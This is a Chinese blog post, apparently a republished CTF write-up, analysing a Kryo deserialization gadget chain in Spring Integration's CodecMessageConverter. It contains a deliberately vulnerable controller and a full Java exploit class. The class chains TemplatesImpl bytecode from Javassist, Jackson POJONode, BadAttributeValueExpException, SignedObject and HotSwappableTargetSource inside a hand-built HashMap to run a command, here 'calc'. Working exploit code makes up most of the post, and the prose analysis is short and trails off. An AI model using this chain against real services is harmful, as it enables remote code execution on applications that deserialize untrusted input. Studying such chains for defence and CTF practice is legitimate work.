经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » Java相关 » Spring Boot » 查看文章
Kryo反序列化链分析
来源:cnblogs  作者:F12~  时间:2024/4/15 9:49:05  对本文有异议

前言

Kryo是一个快速序列化/反序列化工具,依赖于字节码生成机制(底层使用了ASM库),因此在序列化速度上有一定的优势,但正因如此,其使用也只能限制在基于JVM的语言上。
Kryo序列化出的结果,是其自定义的,独有的一种格式。由于其序列化出的结果是二进制的,也即byte[],因此像redis这样可以存储二进制数据的存储引擎是可以直接将Kryo序列化出来的数据存进去。当然你也可以选择转换成String的形式存储在其他存储引擎中(性能有损耗)

环境搭建

  1. <dependency>
  2. <groupId>com.esotericsoftware</groupId>
  3. <artifactId>kryo</artifactId>
  4. <version>5.2.0</version>
  5. </dependency>
  6. <dependency>
  7. <groupId>org.springframework</groupId>
  8. <artifactId>spring-messaging</artifactId>
  9. <version>5.3.18</version>
  10. </dependency>
  11. <dependency>
  12. <groupId>org.springframework.integration</groupId>
  13. <artifactId>spring-integration-core</artifactId>
  14. <version>5.3.1.RELEASE</version>
  15. </dependency>
  16. <dependency>
  17. <groupId>org.javassist</groupId>
  18. <artifactId>javassist</artifactId>
  19. <version>3.28.0-GA</version>
  20. </dependency>

例题

  1. package com.sea;
  2. import java.util.Base64;
  3. import org.springframework.integration.codec.CodecMessageConverter;
  4. import org.springframework.integration.codec.kryo.MessageCodec;
  5. import org.springframework.messaging.Message;
  6. import org.springframework.messaging.MessageHeaders;
  7. import org.springframework.stereotype.Controller;
  8. import org.springframework.web.bind.annotation.RequestMapping;
  9. import org.springframework.web.bind.annotation.ResponseBody;
  10. @Controller
  11. public class MessageController {
  12. public MessageController() {
  13. }
  14. @ResponseBody
  15. @RequestMapping({"/"})
  16. public Object message(String message) throws Exception {
  17. byte[] decodemsg;
  18. if (message == null) {
  19. decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
  20. } else {
  21. try {
  22. decodemsg = Base64.getDecoder().decode(message);
  23. } catch (Exception var5) {
  24. decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
  25. }
  26. }
  27. CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
  28. Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
  29. return messagecode.getPayload();
  30. }
  31. }

漏洞点在codecMessageConverter.toMessage里面,并且给了一个比较明显的base64字符串,看一下codecMessageConverter类,有一个toMessagefromMessage,对应的就是反序列化和序列化了

Kyro反序列化链

  1. package com.example.kryo;
  2. import com.esotericsoftware.kryo.Kryo;
  3. import com.fasterxml.jackson.databind.node.POJONode;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  5. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  6. import com.sun.org.apache.xpath.internal.objects.XString;
  7. import javassist.ClassPool;
  8. import javassist.CtClass;
  9. import javassist.CtConstructor;
  10. import javassist.CtNewConstructor;
  11. import org.objenesis.strategy.StdInstantiatorStrategy;
  12. import org.springframework.aop.target.HotSwappableTargetSource;
  13. import org.springframework.integration.codec.CodecMessageConverter;
  14. import org.springframework.integration.codec.kryo.MessageCodec;
  15. import org.springframework.messaging.Message;
  16. import org.springframework.messaging.MessageHeaders;
  17. import org.springframework.messaging.support.GenericMessage;
  18. import javax.management.BadAttributeValueExpException;
  19. import javax.xml.transform.Templates;
  20. import java.io.ByteArrayOutputStream;
  21. import java.io.IOException;
  22. import java.io.ObjectOutputStream;
  23. import java.lang.reflect.Array;
  24. import java.lang.reflect.Constructor;
  25. import java.lang.reflect.Field;
  26. import java.security.*;
  27. import java.util.Base64;
  28. import java.util.HashMap;
  29. public class Exploit {
  30. public static void main(String[] args) throws Exception {
  31. Kryo kryo = new Kryo();
  32. kryo.setRegistrationRequired(false);
  33. kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
  34. // 二次反序列化
  35. ClassPool pool = ClassPool.getDefault();
  36. CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
  37. ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
  38. CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
  39. ctClass.addConstructor(ctConstructor);
  40. byte[] byteCode = ctClass.toBytecode();
  41. Templates templates = new TemplatesImpl();
  42. setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
  43. setFieldValue(templates, "_name", "whatever");
  44. setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
  45. POJONode pojoNode1 = new POJONode(templates);
  46. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
  47. setFieldValue(badAttributeValueExpException, "val", pojoNode1);
  48. // 初始化 SignedObject
  49. KeyPairGenerator keyPairGenerator;
  50. keyPairGenerator = KeyPairGenerator.getInstance("DSA");
  51. keyPairGenerator.initialize(1024);
  52. KeyPair keyPair = keyPairGenerator.genKeyPair();
  53. PrivateKey privateKey = keyPair.getPrivate();
  54. Signature signingEngine = Signature.getInstance("DSA");
  55. // 设置二次反序列化入口
  56. SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);
  57. // 一次反序列化
  58. POJONode pojoNode2 = new POJONode(signedObject);
  59. HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
  60. HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));
  61. // 手动构造 HashMap 以防触发正向利用链
  62. HashMap hashMap = new HashMap();
  63. setFieldValue(hashMap, "size", 2);
  64. Class nodeC;
  65. try {
  66. nodeC = Class.forName("java.util.HashMap$Node");
  67. } catch (ClassNotFoundException e) {
  68. nodeC = Class.forName("java.util.HashMap$Entry");
  69. }
  70. Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
  71. nodeCons.setAccessible(true);
  72. Object tbl = Array.newInstance(nodeC, 2);
  73. Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
  74. Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
  75. setFieldValue(hashMap, "table", tbl);
  76. //String serial = serial(hashMap);
  77. //System.out.println(serial);
  78. CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
  79. // 序列化
  80. GenericMessage genericMessage = new GenericMessage(hashMap);
  81. byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
  82. // 反序列化
  83. Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
  84. messagecode.getPayload();
  85. }
  86. public static String serial(Object o) throws IOException, NoSuchFieldException {
  87. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  88. ObjectOutputStream oos = new ObjectOutputStream(baos);
  89. // Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
  90. // writeReplaceMethod.setAccessible(true);
  91. oos.writeObject(o);
  92. oos.close();
  93. String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
  94. return base64String;
  95. }
  96. public static void setFieldValue(Object obj, String name, Object value) throws Exception {
  97. Field field = obj.getClass().getDeclaredField(name);
  98. field.setAccessible(true);
  99. field.set(obj, value);
  100. }
  101. }

分析一下链子的流程,在toMessage处打个断点,nmmd,断点停不住,艹了,手动分析一波

进入decode方法

这里触发kryo的readObject,手动进去

进入read方法,这里为MapSerializer的read方法
这个map是我们的恶意map,通过触发equals方法来触发我们之后一系列的链子,这个之后的链子就是我们的jackson链,就不多说了,到此为止....

原文链接:https://www.cnblogs.com/F12-blog/p/18134605

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号